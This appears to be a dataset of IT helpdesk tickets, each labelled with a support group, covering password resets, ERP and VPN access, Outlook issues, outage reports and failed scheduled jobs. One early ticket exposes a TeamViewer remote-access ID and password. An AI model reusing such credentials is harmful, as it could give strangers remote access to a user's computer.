the details in lean tracker. any clarification, please revert back._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"add my name to distribution lists + +received from: ploxzuts.utvimnwo@gmail.com + +dear sir/madam, + +pl add my name to distribution lists below: + +warm ",GRP_0 +uacyltoe hxgaycze uacyltoe hxgaycze,GRP_0 +pls. unlock windows account of user vvgoythttu pls. unlock windows account of user vvgoythttu,GRP_0 +"skype for business does not work _x000D_ +_x000D_ +received from: gzqijaoc.rfywvloa@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i need your help._x000D_ +_x000D_ +my skype for business does not work in laptop._x000D_ +print screen is attached._x000D_ +_x000D_ +teamviewer_x000D_ +id 1 078 70sartlgeo lhqksbdx13_x000D_ +password 9456_x000D_ +_x000D_ +",GRP_0 +"passwords - vpn, distributor_tool sync _x000D_ +_x000D_ +received from: pgrvqtdo.hgpymwxb@gmail.com_x000D_ +_x000D_ +hi_x000D_ +_x000D_ +i seem to have a problem with logging into vpn, distributor_tool etc._x000D_ +_x000D_ +i cannot access the 'change my password' as i need to be on vpn_x000D_ +_x000D_ +any advice would be greatly appreciated._x000D_ +_x000D_ +",GRP_0 +account locked in ad account locked in ad,GRP_0 +"telephony_software - log on issue - this is a windows update issue user voethrylke is unable to log on telephony_software for the following reason: +authentication failed because the remote party has closed the transport stream (see attachment as well) +",GRP_7 +"user gokcerthy SID_1 uacyltoe hxgaycze system _x000D_ +_x000D_ +received from: gacfhedw.iqustfzh@gmail.com_x000D_ +_x000D_ +hello team,_x000D_ +_x000D_ +i cannot login to the SID_1 uacyltoe hxgaycze system, could you please check?_x000D_ +_x000D_ +[cid:image001.png@01SID_35fc2.af75dfe0]_x000D_ +_x000D_ +best ",GRP_0 +we need a new mouse (pc: eemw8143353) the computer-mouse from the pc eemw8143353 has a malefunktion. ,GRP_42 +HostName_1276 australia patching_antivirus_sw site server if offline it is offline since 1st oct 2016.,GRP_12 +aiiw8911985 india patching_antivirus_sw desktop site server is offline it is offline since 30th sep 2016.,GRP_19 +unable to log into skype. certificate error. unable to log into skype. certificate error.,GRP_0 +reset my SID_51 password request you to reset my SID_51 password and send it across,GRP_2 +we are missing confirmations in erp since 10/05/2016 07:30 o'clock it seems that the transfer from EU_tool to erp is stopped or delay since 10/05/2016 7:30 o'clock german time. please the attachment. ,GRP_59 +"new document types showing in list when creating a new document in engineering tool, we're seeing three doctypes that weren't previously showing._x000D_ +_x000D_ +has someone added these recently?_x000D_ +_x000D_ +they're showing in SID_21, SID_1 and SID_34.",GRP_11 +"network outage:poncacity -schlumhdyhter-dmvpn router is down since 2:46 am et on 10/06: what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _______no__ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____________ 2:46 am et on 10/06:__________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___na____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"application response time (other network resources work normally) please provide details in the template below (if multiple applications are impacted, please use the quick ticket template in the ""operations"" folder)._x000D_ +site / location : germany_x000D_ +user id (ad) :_x000D_ +system you are seeing performance problems on (please list all) (e.g., crm, erp, bw, bobj):_x000D_ +transactions that are slow (e.g., va01, create an order): all, erp (SID_34) is very very slow. it takes 10-15 seconds to build a page_x000D_ +area this belongs to (e.g., sales, finance, markhtyeting etc.):_x000D_ +how can this issue be replicated by the it support group:_x000D_ +are other users seeing this? _x000D_ +please attach relevant screenshots and exact times when the issue occurred:",GRP_0 +"power outage :germany () fine machining - company secondary vpn circuit and servers showing down since 2:20 am on 10 what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ______yes___ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________2:20 am on 10/06 et______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __na_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___na____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __yes______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____na_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ____yes____ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"erp is not working for multiple user. erp is not working for multiple user._x000D_ +server : \\HostName_670 (not pinging)",GRP_4 +"urgent EU_tool germany - currently not possible to close orders - reference ticket_no1557880 (some data entries where affected not all)_x000D_ +_x000D_ +received several reports that it is currently not possible to close/complete orders. over 570 orders are currently missing._x000D_ +",GRP_25 +kein datenabgleich zwischen EU_tool und erp in germany! kein datenabgleich zwischen EU_tool und erp in germany!,GRP_25 +"kein netzwerkzugang ich habe an meinem pc nur zugriff auf die interne festplatte. drucken funktioniert, aber kein zugriff auf z.b. die drucker server.",GRP_12 +"password reset + +received from: nxhwyepl.mudstbxo@gmail.com + +please reset the password for the below user in q-11 (quality uacyltoe hxgaycze) in erp + +user - rayhtuorv + +",GRP_0 +"job Job_2600 failed in job_scheduler at: 10/06/2016 01:32:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2600 failed in job_scheduler at: 10/06/2016 01:32:00",GRP_8 +"ie 11 flash player issue _x000D_ +_x000D_ +received from: rmezbnqt.ntbmkpuh@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +i am unable to take ethics training course in ie11 as it is showing the below shown error, please do the needful._x000D_ +_x000D_ +this error shows up even after updating the flash player_x000D_ +_x000D_ +[cid:image001.jpg@01SID_35fc0.b9c6a170]_x000D_ +_x000D_ +",GRP_0 +"problem in lean tracker _x000D_ +_x000D_ +received from: drhykngx.oxviygdb@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +there is a problem while creating a new lean tracker & when we click on save & upgrade option._x000D_ +please resolve._x000D_ +[cid:image001.jpg@01SID_35fc0.1a2bb6a0]_x000D_ +_x000D_ +",GRP_0 +"access to shared mail box ""investor_relation + +received from: wchidyuk.shqbfpuy@gmail.com + +hello, + +please usa access/add mr. shryresh rdyrty (yzeakbrl.npxbkojl@gmail.com) to shared mail box ""investor_relation"". + +kindly do the needful. + +[cid:image001.png@01SID_35fbb.d94922c0] + + +with ",GRP_12 +"the oracle listener monitor is reporting a : warning status on, HostName_136. please investigate the oracle listener monitor is reporting a : warning status on, HostName_136. please investigate ",GRP_1 +"outlook _x000D_ +user got crm and outlook configured yesterday_x000D_ + outlook version earlier was old_x000D_ + now after the new version has been installed along with crm_x000D_ + all my mails get re downloaded every time_x000D_ + specially the ones in all folders",GRP_0 +"job bkwin_HostName_770_inc failed in job_scheduler at: 10/06/2016 00:40:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_HostName_770_inc failed in job_scheduler at: 10/06/2016 00:40:00",GRP_8 +"net framdntyework 4.5 is not installed from: wgpimkle kijhcwur [mailto:wgpimkle.kijhcwur@gmail.com] _x000D_ +sent: thursday, october 06, 2016 5:21 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: :erp error : microsoft .net framdntyework 4.5 is not installed_x000D_ +_x000D_ +help desk_x000D_ +_x000D_ +i tried to approve a credit memo (as per attached workflow mail) but the below message was shown and could not open the programdnty._x000D_ +please fix the issue aerp as we need to issue the credit memo soon._x000D_ +_x000D_ + _x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"erp incident 336553/2016 status change this is in SID_21._x000D_ +_x000D_ +",GRP_0 +"job Job_3050 failed in job_scheduler at: 10/05/2016 21:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3050 failed in job_scheduler at: 10/05/2016 21:36:00",GRP_8 +"can't get audio skype. need it urgently for meeting today +name:jashtyckie +language: +browser:microsoft internet explorer +email:jacyjddwline.yotywdsef@company.com +customer number: +telephone: +summary:urgent. can't get audio skype. need it urgently for meeting today",GRP_0 +"HostName_221 : volume: /dev/SID_37data17 is over 98% space consumed. space available: 8.1 g HostName_221 :_x000D_ +_x000D_ +volume: /dev/SID_37data17 is over 98% space consumed. space available: 8.1 g_x000D_ +volume: /dev/SID_37data18 is over 98% space consumed. space available: 8.3 g.",GRP_1 +ticket update on inplant_866951 ticket update on inplant_866951,GRP_0 +unable to open attachments on outlook unable to open attachments on outlook,GRP_0 +"access to server files ldg sm003 i am the new plant manager at usa facility. i need access to the server drive ldg sm003, both i drive and j drive. the access should be similar to the previous plant manager misuhet milsytr.",GRP_12 +unable to update passwords unable to update passwords,GRP_0 +node lhqsm68267 located at usa is down. node lhqsm68267 located at usa is down since 04:00 pm et on 10/05.,GRP_12 +vip 2 : not able to login to windows not able to login to windows ,GRP_0 +"outlook is frozen, unable to open came in at 10:45am. as of 3:50pm, my folder had not been updated since 11:13am. exited out and tried to get back in, but it will not open._x000D_ +",GRP_0 +"system is slowing down while processing shipments at plant_101 every evening between 9:45 pm and 11:00 pm. system is slowing down while processing shipments at plant_101 every evening between 9:45 pm and 11:00 pm. sometimes it is with z_chk process and sometimes during the kis (shipping_tool shippping system) process. this has been going on for the last couple of months. fyzceglp vfnraqxc is the shipping supervisor during this shift and can be contacted if additional information is needed. there was ticket entered last night october 4, but was closed this morning oct 5, because the system was not slow this morning. this only happens at night. ",GRP_18 +"erp access issue userid uacyltoe hxgayczekurtyar s3 system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_1_x000D_ +_x000D_ +enter user id of user having the issue: uacyltoe hxgayczekurtyar s3_x000D_ +_x000D_ +transaction code(s) the user needs or was working with:_x000D_ +_x000D_ +describe the issue: userid uacyltoe hxgayczekurtyar s3 is needed for validation uacyltoe hxgayczeing in SID_1. please extend this account for 2 months. _x000D_ +_x000D_ +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket._x000D_ +_x000D_ +provide access the same as this other user:",GRP_2 +"job Job_3049 failed in job_scheduler at: 10/05/2016 15:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3049 failed in job_scheduler at: 10/05/2016 15:06:00",GRP_8 +unable to schedule a skype meeting (option no longer on outlook) unable to schedule a skype meeting (option no longer on outlook),GRP_0 +ticket update on inplant_866919 ticket update on inplant_866919,GRP_0 +"key figures being taken out from bex analyzer key figures being taken out from bex analyzer_x000D_ +_x000D_ +sales revenue key figure that gets removed autamatically",GRP_9 +"job Job_1320 failed in job_scheduler at: 10/05/2016 14:35:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1320 failed in job_scheduler at: 10/05/2016 14:35:00",GRP_9 +ticket update on ticket_no0446902 ticket update on ticket_no0446902,GRP_0 +"calls are routing to laptop and not on the telephony_software phone. calls are routing to laptop and not on the telephony_software phone. + +phone: ",GRP_7 +"connecting to wireless outside of company of usa wireless _x000D_ +_x000D_ +received from: zxobmreq.udikorhv@gmail.com_x000D_ +_x000D_ +attachment is the only connections available when i need wireless. please review and figure out why other wireless are not available._x000D_ +_x000D_ +was at company usa, and also hotel. no access available._x000D_ +",GRP_0 +ticket update on inplant_866808 ticket update on inplant_866808,GRP_0 +"access to collaboration_platform link access to collaboration_platform link_x000D_ +_x000D_ +",GRP_0 +"adding shared mailbox to outlook. +summary:the files for my 2 shared mailbox dierppeared from the left side of my screen",GRP_0 +"housekeep core files in HostName_1290. could you please check feasibility to add additional space in HostName_1290 /dev/gpfsfs1_x000D_ +_x000D_ +justification : bw reports are failing due to space issue in the mentioned mount point.",GRP_47 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_37 + +enter user id of user having the issue: keshyslsj45 + +transaction code(s) the user needs or was working with: SID_37 + +describe the issue: forgot password to SID_37 + +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket. + +provide access the same as this other user:",GRP_2 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +crm add in is missing crm add in is missing,GRP_0 +"job Job_2653 failed in job_scheduler at: 10/05/2016 11:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2653 failed in job_scheduler at: 10/05/2016 11:30:00",GRP_18 +knocked off vpn vpn was disconnected during an incoming call. ,GRP_0 +skype audio not working skype audio not working,GRP_0 +ms crm dynamics ; outlook issue ms crm dynamics ; outlook issue ,GRP_0 +"appears that pos file processing is not working - apps devt maint & ebus it appears that the pos files being submitted by our channel partners are not processing. please see the attached log. it appears that the last time a file was processed was on monday, october 3.",GRP_20 +unable to access any of the bobj explorer reports i'm unable to access any of the bobj explorer reports. i'm getting ps 50301 & ps 50004 errors. please look into it.,GRP_14 +"job Job_1348a failed in job_scheduler at: 10/05/2016 11:10:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1348a failed in job_scheduler at: 10/05/2016 11:10:00",GRP_9 +"as soon as i do select financial_toolscal years or financial_toolcal months the company overall value get ""no data found"" contact # : 499119735568_x000D_ +summary:bex does not show any results as soon as i limit time periods. sind approx 20 mins. is there again a gneral bex issue at the moment?_x000D_ + i need to create reporting to my upper management and get no sales infomation out. as soon as i do select financial_toolscal years or financial_toolcal months the company overall value get ""no data found""_x000D_ + i have re-staerted bex several times na_x000D_ + and even rebooted my pc_x000D_ +_x000D_ + note : issue is urgent as i have to finally review data tomorrow morning my time with upper management and need to pull a bunch of sales data!!_x000D_ +_x000D_ +checked with another colleague too...appears to have same issue..._x000D_ +_x000D_ +",GRP_9 +"job Job_2653 failed in job_scheduler at: 10/05/2016 10:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2653 failed in job_scheduler at: 10/05/2016 10:45:00",GRP_18 +"job Job_1315 failed in job_scheduler at: 10/05/2016 10:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1315 failed in job_scheduler at: 10/05/2016 10:45:00",GRP_9 +"probleme mit pf3 port 13 _x000D_ +_x000D_ +received from: ughzilfm.cfibdamq@gmail.com_x000D_ +_x000D_ +hallo ,_x000D_ +_x000D_ +port für ewew8323846 pf 3 port 13 liefert keine richtige ip ._x000D_ +bitte prüfen ._x000D_ +_x000D_ +_x000D_ +",GRP_24 +"job Job_1394 failed in job_scheduler at: 10/05/2016 10:41:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1394 failed in job_scheduler at: 10/05/2016 10:41:00",GRP_9 +unable to connect to outlook from home network unable to connect to outlook from home network ,GRP_0 +"system disk c: of server HostName_698 is full again _x000D_ +_x000D_ +received from: fbyusmxz.kxvmcbly@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +system disk c: of server HostName_698 is full again – please check._x000D_ +we had the same issue 5 weeks ago (ticket inc1543749) and 2 weeks ago (ticket inc1551508)._x000D_ +please identify and solve the cause of the problem and not only the impact again and again !_x000D_ +it is the virtual center server._x000D_ +",GRP_12 +unable to open outlook unable to open outlook,GRP_0 +"printer issue delivery notes, windows: on printer prtgt4203 and prtgt4208. printer issue delivery notes, windows: on printer prtgt4203 and prtgt4208_x000D_ +contact # :12319292139_x000D_ +error message : install driver, access is denied while printing windows and erp.",GRP_3 +"the report none of the lookup/sort features are available to me. i have access to the report and reporting_tool now, however when i go into the report none of the lookup/sort features are available to me. there are 4 fields in the upper right corner that should allow me to manipulate the report, however they don't show as available. they just show blank…here is a screen shot…_x000D_ +_x000D_ +please refer the attachment ",GRP_9 +urgent help required- outlook to crm mfg_tooltion issue. contact ,GRP_0 +"ticket follow up on inplant_866530 +summary:i have an open incident request #inco446530 with rakthyesh. can we resolve this here?",GRP_0 +"job bwhrchgr failed in job_scheduler at: 10/05/2016 10:01:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwhrchgr failed in job_scheduler at: 10/05/2016 10:01:00",GRP_9 +"townhall meeting we need nwfoucba dzbujamc (it germany/germany) for the preparation of our technology town hall meeting on october 17. the beginning of the meeting is at 10 o'clock._x000D_ +",GRP_28 +unable to access to bobj reports unable to access to bobj reports ,GRP_0 +"circuit outage: vpn router (rtr01) is down at 9:15 am et on 10/05, site is up on rtro2 what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________ 9:15 am et on 10/05, ______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____na___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _______na____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _______na____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"email settings issue +summary:i hit the wrong button and messed up my e-mail format. to delete anything i have to go into the home button and delete from there.",GRP_0 +user called to speak with nicdhylas hidhys...asked user to send an email as on skype he is not available. user called to speak with nicdhylas hidhys...asked user to send an email as on skype he is not available.,GRP_0 +windows password reset windows password reset,GRP_0 +static noise : interaction id : 1064732743 static noise : interaction id : 1064732743,GRP_0 +"computer name _x000D_ +_x000D_ +received from: koahsriq.wdugqatr@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +we need a new computer name._x000D_ +service tag is: ddwjm72_x000D_ +",GRP_0 +account unlock account unlock,GRP_0 +"names issues with engineering_tool system + +received from: vkezwolt.fgnqzeai@gmail.com + +hello , + +feel very sorry to say, off late we are facing lots of issues with engineering_tool system. + +please note the below, names not appearing in ascending order of alphabets. looking for particular names has become a nightmare. + +[cid:image002.jpg@01SID_35f29.49a49a10] + +best ",GRP_25 +creating an inspection plan i have been working on creating an inspection plan and it doesn't seem to be working. i created it but i am not able to view the batch number for this inspection plan in qa32. i tried to create an 89lot as well and it isn't working either (no valid inspection type for material 7417741 was found or selected) is the warning. can you please assist me with this? material is alloy 11 mm# 7417741 and it needs to ship today. contact phone number,GRP_45 +not able to make outbound calls from siemens phone system not able to make outbound calls from siemens phone system,GRP_37 +"wk38 -> qdxyifhj zbwtunpy halo , +der drucker bereitet problem mit dem druck. bitte die einstellungen überprüfen. danke. uwe",GRP_33 +"authorisation + +received from: bqjvxsaf.aupdonjy@gmail.com + +pl. provide z_pm_supervisor role to user haajksjp plant plant_107 system SID_34 + + +sent from my iphone + + +",GRP_2 +"network outage: site engineering_toolkuznetsk, russia is down since 6:41 am et on 10/05 what type of outage: ____x_network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? __no_______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______________ 6:41 am et on 10/05________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _____no__ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _______na (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _________na__ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____na___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +probleme mit vpn \weszfyok fbadnjhu probleme mit vpn \weszfyok fbadnjhu,GRP_24 +probleme mit portal \franjuz urbghty probleme mit portal \franjuz urbghty,GRP_24 +erp SID_34 account unlock and password reset for bowtniuy.afgdmesz@gmail.com erp SID_34 account unlock and password reset for bowtniuy.afgdmesz@gmail.com,GRP_0 +russia: interface: vlan1 · russia engineering_tool wharehouse lan on company-eu-rus-engineering_toolkuznetsk-dmvpn-891-rtr01.company.com is down russia: interface: vlan1 · russia engineering_tool wharehouse lan on company-eu-rus-engineering_toolkuznetsk-dmvpn-891-rtr01.company.com is down,GRP_8 +"job Job_1142 failed in job_scheduler at: 10/05/2016 06:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1142 failed in job_scheduler at: 10/05/2016 06:11:00",GRP_9 +problem in outlook client database synchronizing problem in outlook client database synchronizing ,GRP_19 +"microsoft outlook issue hi team,_x000D_ +_x000D_ +i am unable to get mails intermittently during these time i need to update the folder to get the mails, sometimes it does not work like that too. can you please look into this issue. ",GRP_0 +"upgrade to office 2016 currently there are two versions of office on my computer installed - office 2013 in the 64 bit folder and office 2013 in the 32 bit folder._x000D_ +pls delete the old 2013 and repair the new one.",GRP_0 +"erp intercompany inwarehouse_tool issue sto - 4908197080 from: batia ben-shloosh +sent: wednesday, september 28, 2016 8:06 pm +to:huji uhytry; rujteoza mcoswhjuanthila; yayuel sayatgr +cc: hkfipags sdilxrfk; rzucjgvp ioqjgmah; jhdythua htayhil; udmbwocs kegsjdva +subject: re: mm6599468 - d.n. 9169446361 + +hello , + +please find the lauacyltoe hxgaycze sto - 5019208191. + +please be informed that the same currency problem has occurred on a new shipment under the above d.n. +for 8 pcs mm6599468 under d.n. 9169446361 the inwarehouse_tool 0811166205 show the total amount of us$ 71.80.15.0712, the real value which show on the sto number 5019286181 is 126.61$ for each. + +please check the issue urgently, the shipment is currently hold in our warehouse. + + +please see the below correspondence on the previous shipment from june 2016. + +",GRP_10 +"login is not possible ?? + +received from: lgeuniqf.ijsnyxgf@gmail.com + +hallo kollegen, + +bitte mal prüfen, warum der kollege diehm diese frage gestellt bekommt auf nein klickt & sich dann nicht einloggen kann? + +dank & gruß + + +[cid:hardcopy-cid] +",GRP_0 +"erp user id & password not working _x000D_ +_x000D_ +received from: ploxzuts.utvimnwo@gmail.com_x000D_ +_x000D_ +dear sir/madam,_x000D_ +_x000D_ +pl do the needful regarding the subject matheywter (message shown is wrong user id & password )_x000D_ +_x000D_ +fyi & na_x000D_ +_x000D_ +warm ",GRP_0 +"could not logon to erp via vpn error message in both systems SID_34 / SID_1:_x000D_ +_x000D_ +partner 62.157.140.133:3200 not reached. error no 10061: connection refused",GRP_0 +"job Job_593 failed in job_scheduler at: 10/05/2016 04:17:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 10/05/2016 04:17:00",GRP_8 +please create dn from plant_105 to plant_212 on 1 pc of mm3954300 we can not create please create dn from plant_105 to plant_212 on 1 pc of mm4065411? urgent - shipping point dns1.,GRP_6 +"lean certificates not getting sent automatically hi khadfhty, + +today, i created another lean event but still the certificates are not sent automatically to the recipient's. i can see the certificates in the certificate list section. also, co-facilitator 2 name is not appearing in the certificate. same happened for the past event too. + +request you to kindly fix this issue on priority. +",GRP_16 +windows password reset windows password reset,GRP_0 +probleme mit alicona nach update \jionmpsf wnkpzcmv probleme mit alicona nach update \jionmpsf wnkpzcmv,GRP_24 +setup we_wu73 \jionmpsf wnkpzcmv setup we_wu73 \jionmpsf wnkpzcmv,GRP_24 +"chg1145744 - stop the reminders _x000D_ +_x000D_ +received from: atdclmyi.wqxzaysu@gmail.com_x000D_ +_x000D_ +hello ,_x000D_ +_x000D_ +i have received ten mails so far on approval of the above ticket . sample mail attached . pl take immediate steps to stop these reminders as i have already approved the ticket._x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"reset password + +received from: uijxpazn.gvtzlphs@gmail.com + +dear all, + +could you please reset password for dpajkrhy hwvjympt (websty12) immediately and let me know. + + +best ",GRP_0 +"job Job_1351 failed in job_scheduler at: 10/05/2016 02:34:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1351 failed in job_scheduler at: 10/05/2016 02:34:00",GRP_9 +"issue with engineering_tooled software _x000D_ +_x000D_ +received from: ntuhoafg.bzwefjvk@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am not able to see option for creating new customer & new dealer names in the engineering tool software, please help me to resolve the issue._x000D_ +_x000D_ +[cid:image001.jpg@01SID_35eff.5e2f2f10]_x000D_ +_x000D_ +_x000D_ +",GRP_25 +"probleme beim zugriff auf zeichnungen - netweaver business clint + +received from: ecoljnvt.lbdqmvfs@gmail.com + +sehr geehrte kollegen, + +ich kann den netweaver business clint nicht öffnen. + +wenn ich auf die entsprechende app drücke (über vpn bereits verbunden), dann kommt folgender hinweis: + +[cid:image001.png@01SID_35ee0.18647971] + +bitte um ihre unterstützung + +mit freundlichen grüßen / best ",GRP_0 +"job Job_2049 failed in job_scheduler at: 10/05/2016 02:10:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2049 failed in job_scheduler at: 10/05/2016 02:10:00",GRP_6 +outlook & crm not getting sync outlook & crm not getting sync,GRP_0 +account locked in ad account locked in ad,GRP_0 +"seek support_network related issue. _x000D_ +_x000D_ +received from: utoegyqx.lhosidqg@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am not able to access erp and other files through network._x000D_ +i am facing this problem from past 3 weeks on daily basis , the issues are addressed to local it team and getting it resolved on case to case basis._x000D_ +it is causing lot of disturbance ._x000D_ +_x000D_ +seek suppor to resolve the issue._x000D_ +_x000D_ +below is the error message when i tried to log in for SID_34._x000D_ +_x000D_ +[cid:image001.jpg@01SID_35ef9.a78c5e90]_x000D_ +_x000D_ +and each day when i connect to network i am connected to companyguest network, i need to change it to companysecure. after this also i am facing problems._x000D_ +_x000D_ +",GRP_19 +"job Job_1384 failed in job_scheduler at: 10/05/2016 01:42:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1384 failed in job_scheduler at: 10/05/2016 01:42:00",GRP_9 +interface: fastethernet0/2 · timeclock on clhr_toollant(41.10.34.08611 ) is down since 8:35pm on 10/04/16 interface: fastethernet0/2 · timeclock on clhr_toollant(41.10.34.08611 ) is down since 8:35pm on 10/04/16,GRP_8 +"job Job_1346 failed in job_scheduler at: 10/05/2016 01:40:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1346 failed in job_scheduler at: 10/05/2016 01:40:00",GRP_9 +"job Job_1391 failed in job_scheduler at: 10/05/2016 01:39:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1391 failed in job_scheduler at: 10/05/2016 01:39:00",GRP_9 +"can't access erp by vpn + +received from: ovhtgsxd.dcqhnrmy@gmail.com + +it help, + +i can't login erp SID_34 from home by vpn with error message below, can you help? + + +[cid:image001.png@01SID_35f0c.dcfb21c0] + + +juhu jojfufn +ap logistics manager +e: ovhtgsxd.dcqhnrmy@gmail.com + + + +本讯息仅供指定的接收人使用，其中可能包含适用法律项下特许的、保密的和禁止披露的内容。除指定的接收人外，严禁其他任何人传播、分发或复制本讯息。如果您误收到本讯息，请通知发件人并将讯息删除。 +[ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +"ey consultant is unable to login to citrix. attached the error screenshot. ey consultant is unable to login to citrix. attached the error screenshot._x000D_ +kindly do the needful.",GRP_12 +unable to login to engineering tool unable to login to engineering tool ,GRP_0 +"job Job_2573 failed in job_scheduler at: 10/05/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2573 failed in job_scheduler at: 10/05/2016 00:02:00",GRP_8 +unable to login to engineering tool unable to login to engineering tool ,GRP_0 +"australia, australia is currently experiencing very long loading times for erp. name:elituyt +language: +browser:microsoft internet explorer +email:byhtu_47@gmail.com +customer number: +telephone: +summary:australia, australia is currently experiencing very long loading times for erp. can you please look into this?",GRP_0 +"erp _x000D_ +_x000D_ +received from: duoyrpvi.wgjpviul@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +my erp is running incredibly slow and it tries to load pages and then kicks me out with the below._x000D_ +_x000D_ 